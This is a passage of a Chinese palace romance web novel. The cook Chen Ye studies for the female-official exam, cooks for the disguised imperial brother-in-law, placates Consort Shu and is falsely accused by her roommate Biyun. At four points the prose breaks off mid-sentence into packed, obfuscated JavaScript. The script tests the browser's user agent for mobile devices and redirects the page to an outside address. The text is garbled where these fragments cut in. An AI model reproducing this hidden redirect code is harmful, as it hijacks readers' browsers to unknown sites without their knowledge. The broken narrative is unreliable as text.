“好了，我困了。你不是已经吃饱了吗？赶紧回自己殿里睡吧，明早还有早课呢。”白肃清催李景川赶紧去洗漱睡觉，眼睛盯的却是桌上那碗扯面片，闻起来还是好香，好想吃。 “好吧，那我走了小舅舅。”听到明天还有早课，原本义愤填膺的李景川瞬间平静，仿佛瞬间临头被浇了一盆冷水，了无生气。 白肃清让小凳子把李景川安全送回殿中，自己则坐在桌旁，十分纠结。 即便只剩半碗，闻起来依旧很诱人。可自己堂堂国舅爷，怎么能吃别人剩下的东西呢？即使那个人是自己的外甥。 自己可是国舅啊！国舅！ 算了！国舅又如何，那不也是人？人都有口腹之欲，没什么丢脸的，何况也不会有人知道。主要是，再不快点吃就要凉掉了啊！突破心理防线的白肃清拿起了筷子，风卷残云。没一会，半碗猪油清汤扯面皮便下了肚。白肃清意犹未尽，下次！他一定要把银子甩在那宫女的手上！让她给自己做两碗！ 送完太子回房的小凳子一回来，本打算收拾桌上的碗筷，却发现原本还剩半碗的吃食竟什么也没有了，很是奇怪，挠挠头，难道自己看错了？ 翌日，陈叶按部就班。 一整天除了当差，便是吃透李掌膳给的那本小册子，以及背书。 虽然背书的过程很痛苦，但女官考试，第一场就是笔试，笔试都过不去，又何谈后面的菜肴制作呢？ 午歇时刻，陈叶搬了把小凳子，坐在膳房的廊下，温习书本。午歇没那么多讲究，有人会回房睡觉也有人会结伴唠嗑，陈叶觉得回屋看书麻烦，于是便直接坐在廊下，既方便还节约时间。 白肃清就是这时来的，正巧看见坐在廊下看书的陈叶。 夏日，午后的太阳依旧刺眼，陈叶一手持扇一手翻书，发丝随风飘动。 白肃清竟有些看呆了，之前只觉得这宫女长得清秀，可宫里长得貌美的女子处处都是，她不算出挑。但在宫中这般坚持读书的宫女，她是他见到的第一人。 廊下的人看的认真，白肃清反倒有些害怕打扰到她了，可若不趁着午歇来，便只能晚上来了，而晚上能不能碰见陈叶也是个未知数。若是阿姐不逼着自己进学就好了，自己随时都能来。可看着在廊下一把凳子、一扇扇子、一本书就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到白肃清这么说，陈叶猛地幡然醒悟自己在小凳子面前说了什么，妄议主子，那可是死罪。脸色顿时变得煞白，“我......我不是那个意思，我只是震惊国舅爷竟然这么好。” 白肃清看着陈叶猛然变白的脸，知晓她在担心什么，立刻安抚她，“姐姐放心，我是不会和国舅爷说的，姐姐之前救了我，我怎会做那种忘恩负义的人。而且国舅爷确实待下宽容和善，也不会在意这些的。” 又立马转移话题，“姐姐为何要看书？做宫女也要读书吗？” 确认小凳子不会出卖自己，陈叶放心回，“做宫女不用看书，可是考女官要，不仅要看还要能认能写。”女官除了要有一技之长，还要能看帐、记账、筹算等等，要求可太多了。不过筹算还好，陈叶应付的过来，便打算七日复习一次练练手感。 “姐姐想考女官？” 陈叶点头，“对。” “考女官做什么？”白肃清很是好奇。 “说实话，我这个人比较庸俗，考女官不是为了什么理想，就是想少下跪以及多得赏钱，然后！到了年纪出宫养老！”说到出宫养老几个字，陈叶身上的气息都不一样了，由之前的平平淡淡转为积极热烈，脸颊上也因情绪波动染上红晕。 白肃清也是瞪大了眼睛，短短几分钟，他见到了变脸，一个人的脸色由正常转为灰白再转为兴奋的红，不过他确实感受到了陈叶的热情，对宫外养老生活的热情。 11. 不知不觉 看着陈叶闪闪发亮的眼睛，白肃清不知为何失了神。她的眼神、她身上的斗劲都在告诉他，她是个有目标的人。那自己呢？父亲和哥哥对自己的期望是不要惹事，阿姐对自己的期望是考取功名，可是自己对自己的期望在哪呢？自己的目标在哪呢？白肃清不知道。 “小凳子？小凳子？”陈叶在白肃清的眼前使劲挥手叫唤，这人从刚刚开始就一直盯着自己走神，怎么叫都不应。待会午歇过了还得当差呢，他再不赶回去的话，等下国舅爷寻不到他可就麻烦了。 白肃清被陈叶的声音喊回神，反应过来自己刚刚盯着陈叶走神，意识到自己的冒犯，赶忙躬身道歉，“陈叶姐姐莫怪，是我失礼了。” 陈叶觉得好笑，难道真是和国舅爷一起读了几天书的缘故？他一个太监怎么学得和那些书生一样，讲话和动作都文绉绉的，“你是不是晚上没休息好啊？白日当差老走神小心国舅爷罚你月俸。行了，你打起精神，赶紧回去吧，国舅爷身边可离不开人。” 白肃清是该走了，本来还了食盒就该走了。但他有些不想走，他想多与她说几句话，可又不知道还能说些什么，于是掏出了李景川昨夜给自己的金块，放到陈叶手上。 “劳烦陈叶姐姐，你昨晚做的吃食国舅爷很是满意。所以来之前国舅特地嘱咐我，让你做两道拿手好菜，晚膳时我会来取，还望姐姐费心。” 陈叶看着手上鸽子蛋大小的金块，瞪大了眼，沉甸甸的。这么快就留住了大客户吗！那肯定要认真对待，“国舅爷可有什么忌口？或者有些什么喜好？” “忌口倒没有，国舅爷喜甜口。”白肃清顿了顿，想起老爱来自己房里串门的李景川，道，“不过国舅爷常和小太子一同用膳，太子爷近期换牙，姐姐还是注意一下避免用太过坚硬咯牙的食材。” 陈叶点点头，“我知晓了，你放心交给我吧，我肯定好好做！”说罢，又从袖子中拿出一个荷包，拿出一两银子，有钱一起赚，生意才能长久，“小凳子，给你。” “姐姐这是做什么？国舅爷给你的赏赐，我不能拿。”而且你不是还等着攒钱出宫吗？白肃清将银子推回去，让陈叶收起来。虽然他现在不知道自己的目标在哪，可他可以帮陈叶完成她的目标。 陈叶哪会收起来，给就给了，而且今天这一个小金块她就已经有得赚了。 见陈叶不肯收回去，白肃清只得收下，“那就多谢姐姐了，我这就走了，晚膳前我会来拿菜的。” “嗯，去吧，当差记得打起精神啊。”陈叶叮嘱，这可是她的财神爷，可不能出事。 小凳子走后，陈叶就开始构想晚上的菜式，要在不耽误工作的情况下还能做出有新意的菜，其实是有些挑战性的。 不过还好，她很快就有了想法，一个糖醋排骨，排骨去骨中间用土豆代替；另一个菜，陈叶打算做瑶柱莼菜汤，一菜一汤搭配得正好。东宫国舅爷殿里并没有不传晚膳的消息，她的菜虽然可能只是国舅餐桌的一个陪衬，但不能不费心。 既然决定了要做去骨的糖醋排骨，那时间可不能耽搁，陈叶收起书与凳子，进膳房着手准备，至少要在开始工作前将排骨剔好骨，再组装好腌制起来。 忙起来时间就过得很快，陈叶抓紧时间腌制好排骨，膳房众人便已经上工了，不过陈叶还有些时间，毕竟外间洗菜切菜一类的活不需要她来干。她抓紧时间，生了一个炉火将瑶柱炖起来，莼菜打算在临近装进食盒时再放进去。 热锅凉油，放入冰糖。糖在锅里慢慢化开，然后起小泡，陈叶瞅准时机，将腌好的排骨放了进去。随后是翻炒，待到排骨完全变色，加热水闷煮一会，趁此时将莼菜放入了正在炉火上煨着的瑶柱汤里。 时间把握得正好，等陈叶将排骨收汁打起，瑶柱莼菜汤也就可以从炉火上移开了。 陈叶将两道菜放进食盒，一边做着收尾工作，一边等着小凳子。 白肃清刚下了学，便匆忙回了寝殿换了衣服，按照约定往御膳房赶。李景川看着身边一秒空的座位，愣住了，随后好似是反应过来什么，招了招手，“小全子，今晚的晚膳摆在小舅舅房里。” 在与太傅告别后，李景川便匆匆往白肃清屋里赶。他有预感，小舅舅肯定有事瞒着他！ 白肃清紧赶慢赶，在众人送膳而出时，到了膳房，躬身，“姐姐久等了。” “来啦。”陈叶到没想过小凳子会来得如此之快，毕竟按照以往给东宫送膳的时间来算，此时东宫太子应当才下学不久才是。也就是说，小凳子这是跟着主子才下了学，就急忙往这赶了。 看着小凳子额角的汗，陈叶还是给他到了一碗水，待他喝完才把食盒递给他，“菜都在这个食盒里，里面有一个汤，记得拿稳些别撒了。” “好嘞，多谢姐姐提醒。”白肃清用袖口擦了擦汗，躬身与陈叶道别，他现在扮太监是扮得越来越熟练了。 东宫，白肃清殿内。 小太子坐在桌旁，盯着门外，小舅舅还没回来……什么事情要这么久？难不成小舅舅是打算将好吃的全部吃了才回来！ 想到这，李景川坐不住了，不行！好吃的怎么能缺了自己的份呢？他要去找小舅舅！ 李景川才踏出殿门，便看见身穿太监服饰但行为举止完全与太监没有关系的白肃清迎面走来，手里提着与昨晚相同的食盒。 “小舅舅，你又给川儿带什么好吃的啦？”他迎上去，拉着白肃清问，事关吃食的大事，怎么着急都不是问题。此时此刻，他十分庆幸自己今天将晚膳摆在小舅舅殿中。 进了东宫，白肃清提着食盒大摇大摆的走。东宫早就被阿姐管理的如同铁桶一般，安全得很。不过他的大摇大摆很快就被李景川打破了，虽然他早就做好了李景川会来与他抢食的准备。可是，他真的不想分享啊，尤其是食盒中的香味一个劲的往鼻子里钻，他已经忍了一路了。 “谁说是给你带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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显然，李景川也发现了这一点，于是两人便很有礼貌地你一筷子我一筷子。 “唔唔！小舅舅！你赖皮，你嘴大，吃的太多了！”李景川一边使劲嚼，一边眼睛盯着桌上所剩不多的糖醋小排。 “你应该怪你嘴小，而不是埋怨我嘴大，这可是我的本事，有本事你的嘴也长这么大啊！”白肃清可不管，让李景川跟着他一起吃已经是做出了极大的让步，至于他能吃多少，那他不管。 糖醋小排很快就清空了，两人还有些意犹未尽，有看上瑶柱莼菜汤，新一轮战争开始了。 饭饱，两人摸摸肚子，桌上的菜或多或少被光顾了一下，不过完全清空的也就只有陈叶做的那两道菜。 “小舅舅，明天还能有这样好吃又新奇的菜吗？”李景川满脸憧憬，如果每天都能吃的这样好，那每日的课业好像也没有那么烦人了呢！ 白肃清不语，只一味地伸手。 这回李景川很是上道，在白肃清的手刚伸出来之际，就连忙从衣袖掏出金块，放了上去。 白肃清满意地点点头，“再说，看我心情。” 12. 又见淑妃 晚上，忙碌了一天，屋里的人都赶着洗漱去了，陈叶落在后面，打开自己的柜子，接着拿衣服的契机，悄悄把把金块锁进自己的盒子里，身上的荷包只留了几块银子应急。 拿好衣物，陈叶出门与碧云擦肩，她刚洗漱完回来，许是前几日在陈叶这吃了瘪，语气平和了不少，“陈叶，今天这么晚洗漱啊？” “嗯，你洗好了？”碧云不找事，陈叶也是愿意同她说上几句的。毕竟在同一个屋，抬头不见低头见，闹太僵了也不好。 “是呢，你快去吧，时间可不早了。”碧云回。 “我这就去，走了啊。”陈叶与碧云说完，转头出门。 碧云这次洗漱回来比较早，坐在床边不知为何盯着陈叶的床位，以往她可是洗漱最积极的那个，怎么今日这么晚？正思索着其他宫女们三三两两地回屋了，拉着碧云讲起了小话，思绪被拉开，碧云也不再多想。 天还未亮，宫女们又爬了起来，极速洗漱打扮，上值。 陈叶望着黑黑的天，叹了口气，这样的日子什么时候才是个头啊，她到底什么时候才能过上梦想中的生活！然而现实不允许她再多想，时间紧急，迟到了也是要被责罚的。 早膳很简单，陈叶已经轻车熟路，闭着眼睛都能做好。随后有一小段时间休息，她拿出自己抄写的小纸条，开始背。这是从前参加高考时养成的习惯，背不下来的东西就抄下来放在身边多背几遍，总有一天能记下来。 “姐姐，这是什么？”银叶凑过来头搭在陈叶肩上，很是好奇。 “是女管考试要背的书，我把难记的都抄下来，有时间就看一看。”陈叶摸摸银叶的脑袋，嗯，毛茸茸的，很好摸。 “天呐，这么多字，我真是看了就头晕，姐姐你竟然还要把它们记下来。”银叶眼里满是敬佩。 彩叶没读过书，唯一认得的几个字还是进宫后陈叶和王掌膳教的，看着陈叶手里的纸条，神色暗了下来，踌躇片刻，还是开口，“陈叶，你能教我认字吗？我……我也想考女官。”最后几个字彩叶的声音低了不少，很是没底气。 意识到陈叶可能会误解她，又急忙摆手补了一句，“你放心，我决不会和你抢女官的职位的。” 其实之前的彩叶从未想过要考女官，因为她根本不识字，她只会做菜。原本她想着，在宫里做一个不起眼的宫女，到老领了遣散费出宫也算是一个不错的结局了。可自从上次看见陈叶被淑妃打成那个样子，她第一次意识到，在这宫里，越是不起眼命就越贱。她想考女官，一是为了不拖陈叶的后腿，二就是为了有遭一日，再遇到淑妃那样的事情，自己可以有能力保护陈叶和银叶。 陈叶很是惊喜，但看到彩叶这样惶恐，心疼地拉过她的手，她总是这样，骄傲又敏感，“当然可以啦，我才不担心你和我抢呢，你要是能考过我，那就说明是我教的好，我高兴还来不及。回去我就把刚看完的那本简单的书给你，咱们先从简单的开始学。” 彩叶看着陈叶，她还是像以前一样愿意教自己，可自己之前竟然无缘无故地对着她和银叶挑刺。她不知道自己该什么回报陈叶，只能认真道，“谢谢你，陈叶。那我以后多帮你干活。” 陈叶故作生气，“你这是什么话？要和我割席断交吗？算得这么清？” “没有……我只是想谢谢你。”彩叶低着头，其实她挺自卑的，尤其是在陈叶身边。 “彩叶，我们当初进宫就拜了把子的，你记着我们是亲姐妹！以后再讲这样的话，我会伤心的。”陈叶知道彩叶内里敏感，需要不断地向旁人确定自己真的重要，不然之前三人也不会闹矛盾了。她不会觉得麻烦，她只是心疼彩叶，长得那样好那样懂事的女子，却还是要被父母抛弃。错不在她，在她父母在这个世道。 彩叶瞳孔一怔，明白自己又患得患失了，“这样的话我以后不会再讲了，我们是亲姐妹。我会好好学的，绝对不辜负你的教导。” “你说了也没关系，我会永远坚定地告诉你，我们就是亲姐妹。”两个人的手紧紧交叠，此刻，她们之间的隔阂彻底消散。 银叶猛地反应过来两人都要考女官，急忙指着自己道，“等等！你们两个都考女官？那我呢？” “你想学我也教你，要是想当我身边最得势的小宫女也行。”陈叶笑着打趣她。 “不行！你们都考，那我也要考！”银叶踌躇满志，“陈叶姐姐，你也教教我。” “没问题，你们两个我都教。不过我会的也不多，你们可不要嫌弃我是个半吊子。” 笑闹一番时间就过去了，尚食局又忙碌起来，要开始准备各宫的午膳了。 三人各司其职忙碌起来。这些活都干熟了，没有难度，对陈叶来说也算是轻松了。然而生活永远不会平静，陈叶正与手脚慢的小宫女一起备着菜呢，淑妃身边的小太监来传口谕，以天气炎热为由，指名让陈叶做清凉解暑的饮子送过去。 陈叶实在是没辙了，只得放下手中的活，这淑妃怎么就缠着她不放呢？这样下去可不行，自己的活还要不要干了？可现在自己人微言轻，什么都拒绝不了。不行，今天必须趁着这个机会让淑妃打消对自己的敌意，天地可鉴，她对那什么皇帝没有半点非分之想！ 淑妃善妒，也最在意容貌，既如此那就做一个既清热解暑又美容养颜的糖水给她送过去，就做冰镇桃胶皂米银耳糖水，不过为了保持清爽的口感，糖不能放多，调个味就好了，水也得多一些，否则就太稠了。 陈叶让李姑姑帮忙协调了一下活，最后调了碧荷来顶她的岗，碧荷原是干杂活的，现在能掌厨哪怕只是顶一次，也是欣喜得不行，这可是一次难得的锻炼机会。她不停地给李掌膳和陈叶打包票，今天的午膳交给她没问题。 日常工作解决了，陈叶便放心地去做饮子。桃胶皂米银耳这几个养颜美容的食材，膳房每日都会备上一些泡好，因而陈叶的工作量也算少了一半，只需将这几味食材与冰糖一起炖煮，最后放在井水中凉上一会就好了。 不过淑妃要得急，陈叶也没法慢炖，只能大火炖出胶质，然后盛出冷却。 待冷得差不多了，陈叶再在食盒中放入冰块，将糖水放进去，开始赶路。 艳阳高照，陈叶贴紧宫墙边走，企图能得到一丝荫蔽，但没有一点用处，热气还是笼罩在周身。 前几日淑妃在红霞那受了气，又不敢得罪皇后，皇上也不帮她，可这气憋了几天实在憋不住，看什么都不顺眼，满宫叫苦不迭。被骂了好几日的王富贵也受不了了，便想起了陈叶，在淑妃面前有意无意地提起了她。娘娘只要把气撒出来了，就不会再对他们打骂了，至于陈叶能成为娘娘的出气包，那是她的福气。 被王富贵这么一提醒，想到还有个贱婢在背后觊觎皇上，淑妃更难受了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344595|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当即便让王富贵把人找来，这次，她一定要斩草除根！ 钟粹宫，淑妃殿内。 她半躺在榻上，闭着眼，身边的宫女执扇轻扇，大气都不敢出一口。 直到外头传来陈叶求见的声音，淑妃才缓缓睁开眼，朱唇轻启，“让她进来。” 陈叶一进殿，凉气便围绕全身，她恭恭敬敬地行礼，“见过淑妃娘娘，淑妃娘娘千岁千岁千千岁。” 淑妃不叫起，就这样让陈叶跪着，盯着她看。 感受到淑妃的视线，陈叶心想不能坐以待毙，便主动开口，“娘娘，奴婢今日为您做得是桃胶皂米银耳饮，还请娘娘品鉴。” “你好大的胆子！本宫要的是清热解暑的饮子！不是这种热得心焦的羹汤！何况桃胶银耳，这可都是养颜的东西，你是在讽刺本宫容貌消逝，需要靠这些东西保养容颜了吗！”淑妃气得坐直了身子，美目一瞪，素手一拍指着陈叶就要让人将她拖出去。自上次被皇上从勤政殿赶出后，她就再未见过皇上，这也是她近几日心情烦躁的缘由。 陈叶再磕一头，大声，“奴婢不敢，此饮亦可解暑，娘娘一饮便知，奴婢做此饮意在助娘娘争夺圣宠。” “哼，皇上已经多日未曾来本宫这里，一个饮子而已，又凭什么助本宫重获皇上的宠爱？”淑妃不屑，皇上的宠爱其实说能夺回就能夺回的？他已经很久没有召见过自己了，就连自己去勤政殿送汤他都不见自己。 “娘娘，如今天气炎热，各宫主子都贪凉而饮解暑之物，若此时娘娘在解暑的同时又注重了容颜的保养，岂不是在旁的地方胜过其他主子。何况现下皇上并非只不来娘娘这，而是近些天都未进后宫啊。届时娘娘使些小计重见皇上，皇上一旦见娘娘与另几位娘娘不同，并未为因天气而憔悴，岂不是更加宠爱您。”陈叶低着头，背后的汗已经浸湿了衣裳，黏在身上十分不适，但她不敢妄动。 皇上爱美色已经满宫皆知，这近半月未进后宫也是奇事一桩，昨天晚上她们说小话时陈叶隐约听到了几句有人猜测皇上可能不行。不过不行是不行，男人就算不行也改不了想要美人相伴的德行。 “说得倒也有几分理，可本宫为何要信你？你之前可还妄想勾引皇上呢。” “娘娘，奴婢若真存了勾引皇上的心思，为何现在还只是个小宫女呢？奴婢从未有过这样的心思，而且不是奴婢自贬，奴婢确实还没有您身边的流夏姐姐好看，又怎能与风华绝代的您相比呢。奴婢只求在宫中苟且一生，为娘娘宽容待下的美名献一份力。”言及此，陈叶抬头让淑妃打量自己的脸。来之前，趁着炖饮子的功夫，她特地赶回屋将自己化丑了些，容貌没有太大的改变，但是脸上的缺点全部放大，看上去难看了许多。 淑妃这才仔细地打量起陈叶的脸，确实不怎么好看，对自己根本造成不了威胁，挥了挥手示意王富贵，“把饮子呈上来。” “是。”王富贵从陈叶身边拿走食盒，将饮子盛出，端给淑妃。 淑妃尝了一口，“确实不错，清清凉凉的，喝了也不黏口。” 又沉思片刻，自己这几日打骂宫人确实有些过了，她也不想自己的名声太难听，“你把做法详细地写下来……便回去吧，本宫这次就饶你一命。” “谢娘娘大恩，奴婢定然时时感恩娘娘，在佛祖前为娘娘祈福。”陈叶深深磕了一头，跟着王富贵去了偏殿写做法。 13. 对食 走钟粹宫的那一刻，陈叶的心才放回肚子里。至少现在只要自己不主动去惹淑妃，应当就不会再有什么问题了。 她撑着跪酸的腿，缓缓走回尚食局。还好今日碧荷顶了自己的岗，不然还得快步赶回去，那真的很绝望了。 另一头，白肃清下了学，赶忙换好太监服来尚食局找陈叶点新的菜。 奈何等了半天一直没有看到陈叶，眼看尚食局的宫女都快走完了，还没有陈叶的身影，他不由得心焦起来，只得拉住一个从里头往外走的宫女塞上一小块银子，做了个揖开口询问，“劳烦姐姐了，我找尚食局的陈叶姑娘，姐姐能否告知一下陈叶姐姐的去向。” 碧云眉头一挑，打量起眼前的小太监，勾着背，虽然长得眉清目秀可奈何是个太监，身上穿的是最低级的太监服。见此，碧云不由得拉开了与白肃清的距离，“陈叶？你找她干什么？” 白肃清想起之前被王尚宫抓包时陈叶的说辞，便也照样子说了出来，“小的是陈叶姐姐老乡，来寻陈叶姐姐有事相托。” “老乡？”碧云眉眼一眯，微不可察的兴奋已经显露，她可从没听过陈叶在这宫里有什么老乡。肯定有猫腻，哼！陈叶！可算要抓到你的把柄了！ 虽然白肃云等人总觉得白肃清不着调，但他在外头偷鸡摸狗的日子过多了，与各种各样的人打的交道也多。他明显感觉到眼前这人不对劲，不安之感油然而生，难不成这人与陈叶有过节？都怪自己太着急了，应该再等一会的，这下可给她惹麻烦了。 白肃清余光一瞥，这个宫女是三等宫女的打扮，也就是说她比陈叶低一级。都说官大一级压死人，虽然宫女之间不太明显，可宫女和女官直接这个压力可就不是一点半点了。既然如此，那就只能再借一借绿意姐姐的名号了，“是呢，之前王尚宫问陈叶姐姐是何处人时，小的正好在旁边伺候，便听了一嘴，这就斗胆私自前来认陈叶姐姐为老乡了。” 这翻话既表明了自己是有后台的人，也表明了是自己擅自认得陈叶为老乡，她个人并不知情。白肃清心想，宫里最不缺的就是人精，不看僧面看佛面，就算不看王尚宫的面子，那也要掂量一下尚宫背后的皇后是否惹得起。只要是个聪明人就能听出他的言外之意，这样陈叶也就不会有什么危险了。 可白肃清万万没有想到，宫里确实不缺人精，但是也确实有脑子不太清楚的，而这脑子不太清楚的就恰好被他给碰上了。 碧云满耳就只听见什么私自，心下一喜，这不就是对食嘛！虽然皇后娘娘宽容待下，但宫规森严，一直是禁止宫女太监结为对食的，陈叶不仅找了，竟然找了这么一个低贱的太监做对食。她完蛋了！ 终于！不用再被陈叶压一头了！碧云满脑子只有这个念头，气势汹汹地抓住白肃清就要拖着他走，“宫规森严，不容违犯！走！你同我去见尚宫！” 白肃清都不知道是怎么扯上的宫规，只听明白了这宫女要带自己去见尚宫，看样子还要让尚宫治自己的罪。 碧云又拽了拽，纹丝不动，这太监干什么吃的，看着瘦瘦弱弱的，力这么大？硬的来不了，碧云打算来软的，“你老实一点同我去见尚宫，兴许我还能为你求求情，至于你的对食，她对宫规明知故犯，罪无可恕！” 白肃清这下明白了，这人把自己当做陈叶的对食了，关键是自己何曾提到过对食二字了？尚宫面前又何曾能轮得到她这一个三等宫女说话？他看着眼前的碧云，叹了口气，是个傻的。但他又不能不管不顾，这样任她大喊大叫，没有的事也能被流言传成真的。人言可畏，到时候还是会对陈叶造成影响。 既然这样，那就只能带她去绿意姐姐那了，无论如何都要让这宫女闭嘴。至于阿姐那，大不了就再挨阿姐一顿打，他今天就豁出去了。 眼下要紧的是让这宫女一路安安静静地去绿意姐姐当值的地方，白肃清连声安抚，“这位姐姐，你冷静一下，我同你去见尚宫。但你若是不冷静些，在路上被人误以为是疯魔了，那可就见不到尚宫了。” 碧云一听这话，立马安静下来了，就差这一步，她忍了这么久，不可能眼睁睁地看着这个机会从手中溜走。只要陈叶被赶出宫，自己就再也不用被拿来对比，再也不用被贬低了。 白肃清见这人安静了下来，松了一口气，把人往王尚宫那带。 行至永巷，白肃清远远地就见陈叶一瘸一拐地往这边走，她这是怎么了？担心之余，又拼命地给陈叶抛眼色，让她赶紧换条路避一避，否则被这人缠上那真的是难受得很。 但陈叶并没有注意到远处的白肃清和碧云，只顾着低头躲太阳了。 眼看碧云与陈叶靠的越来越近，白肃清想借口出恭把碧云带到另一条道上。但碧云死活不肯，怕他要逃跑，张开嘴就要喊。 白肃清真是怕了她了，只能不断提醒她不能被其他宫人当做疯子，“这位姐姐，冷静！” 碧云这才闭上嘴，但手却不肯放开了，死死攥着白肃清的袖口，和他同步并排走着。 没法子，白肃清只能眼睁睁地看着碧云与陈叶撞上。 被碧云抓住的那一刻，陈叶还是恍惚的，加上在淑妃宫里跪了那样久，腿脚本就不稳当，踉跄一步，差点栽倒。 还好白肃清手快，及时扶了一把。这一瞬间，白肃清变了脸，但是想到这人实在太疯，生生忍了下来。 白肃清的手极为有力，陈叶被扶了一把，确实是不用摔跤了。但碧云更加确信这两人就是对食了，大庭广众之下当着她的面就这样亲密接触，私底下还不知道怎么样呢！ “碧云？你这是做什么？”今日在淑妃宫里受了磋磨，现在又差点摔倒，陈叶不由得有些恼了。往日她都不与碧云计较，因为她人不坏，只不过是爱与人嚼嘴根子，嘴巴碎罢了。 碧云脾气也起来了，火炮一般，“做什么？你还有胆问我做什么？你做出这样不要脸的事，今日就有你好看的！” 陈叶听得云里雾里，只能看向白肃清，希望他给自己一个答复。 奈何白肃清怕碧云像在尚食局时一样喊叫，这可是永巷，往来宫人众多，还是先稳住碧云再说。便给陈叶递了个眼色，让她先配合着碧云。 见此，陈叶只能配合着碧云去尚宫局。不过她倒是与早上去淑妃宫里心惊胆战不同，现在是一点都不带怕的，毕竟小凳子在呢。小凳子虽然现在在国舅爷身边伺候，但他还是东宫的太监，王尚宫为了太子的名声，无论如何都不会把事情闹大，碧云也翻不出什么风浪。 于是，碧云左手抓着白肃清，右手抓着陈叶，去了尚宫局求见王尚宫。 王尚宫一听是尚食局来人求见，眼皮一跳，屏退众人，只留两个心腹在殿内服侍，宣见了碧云。 看着并排走进来的三人果然有熟悉的面孔，王尚宫闭上了眼，她就知道！娘娘果然还是对小国舅太过宽松了！就午歇这么一小会的时间，他也能闹出幺蛾子来。呆会她就要和娘娘说，小国舅精力旺盛就不该有午歇！ “启禀尚宫，奴婢尚食局宫女碧云，今日要告发尚食局宫女陈叶，罔顾宫规，私自与太监结为对食，合该逐出宫门，以儆效尤！”碧云毫不含糊，上来就是叩首陈述，甚至把如何处罚陈叶都为王尚宫想好了。 ！对食，听到这个词的陈叶真的要气笑了，碧云到底怎么想到把这个词套在自己和小凳子身上的？自己和小凳子到底做了什么让她这样误会，自己又是怎么惹到她了，让她这样怨恨自己。 白肃清听见碧云说要将陈叶逐出宫门，疯狂给上位的王尚宫递眼神，别听她的！她就是个疯子！ 王尚宫执掌三局多年，对宫规早已了然于心，这还是她第一次被人安排如何处罚宫人。虽然大概已经猜到碧云口中的太监大概率就是白肃清，但还是得走流程，她摆起威仪沉声，“你口口声声陈叶与太监结为对食，这太监是谁？可曾抓到现行啊？” “这太监就是他！”碧云抬手一指，继续道，“奴婢亲耳听见这小太监说他与陈叶私自来往，就在刚刚奴婢还亲眼看见他与陈叶搂搂抱抱！”碧云振声，刚刚在永巷，这小太监就是摸了陈叶，陈叶也没有拒绝！ 陈叶看向小凳子，他到底说了什么？还有什么搂搂抱抱，什么时候的事？她怎么不知道自己和小凳子搂搂抱抱了？难不成是小凳子刚刚扶了自己一下？ 面对陈叶的探究的眼神，白肃清发誓他真的什么也没说，只得把之前在碧云面前说过的话又当众重复了一遍。 他这样一说，陈叶与上位的王尚宫便明白了，白肃清这是在警告碧云呢，不要乱想，与陈叶无关。奈何碧云不仅没有听明白，还误解到十万八千里之外去了。王尚宫心下有了论断，对整件事情了然于胸，给碧云一个台阶问道，“你可有证据？若拿不出证据这就是诬陷，也是有违宫规的。本官事务繁杂，你无事的话便与他二人退下吧。” 碧云顿了片刻，犹豫后便是重重一磕，“尚宫明鉴，奴婢以性命担保绝不是胡言乱语，奴婢的眼睛就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356067|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证据！” 王尚宫叹了口气，这人怎么听不懂人说话呢？“证据是要能摆得出来的，能证明他们真的有私情，不是你空口白说就能叫做证据。” 见碧云还听不明白，又怕王尚宫不耐烦，陈叶叩首请求，“尚宫，可否容奴婢与碧云说上两句。” 王尚宫扶额，点了点头，“你说吧。” 陈叶对着碧云，看着她，道，“碧云，我与小凳子绝无有私情的可能。你是知道的，我只想考上女官好好当差，到了时间就出宫好好过自己的小日子，又怎么会与太监有私情呢？至于你说的什么搂搂抱抱，明明是你拉扯了我一下，我没站稳，小凳子见我要摔倒了，这才搀了我一手，怎么到你嘴里就成了搂搂抱抱了？” “碧云，按照宫规，诬告也是要受罚的。尚食局的差事轻松，别的地可就不好说了。” 碧云瞳孔微缩，回避陈叶的视线，其实她心里都明白，可她不甘心，何况都已经到这一步了，她已经没有退路了。猛然想到陈叶昨日洗漱那样晚定有异常，对着尚宫斩钉截铁道，“尚宫，奴婢可以担保自己所言非虚！若尚宫不信，大可去尚食局搜陈叶的柜子，里面一定有她与这才太监私通的证据！” “你可想好了？真的要搜？若是没搜出来，你这就算诬陷，这可是要挨罚的。”王尚宫又问了一遍。 “奴婢确定！” 王尚宫真的没法子了，既然人家告到自己面前来了，自己也不能不管，何况自己已经给了这宫女很多次机会了，已是仁至义尽。她挥挥手，指了一个心腹，“你，拿着本官的牌子去尚食局，将陈叶的柜子搜清楚了，若是有异样的物品便呈上来。” “是。” 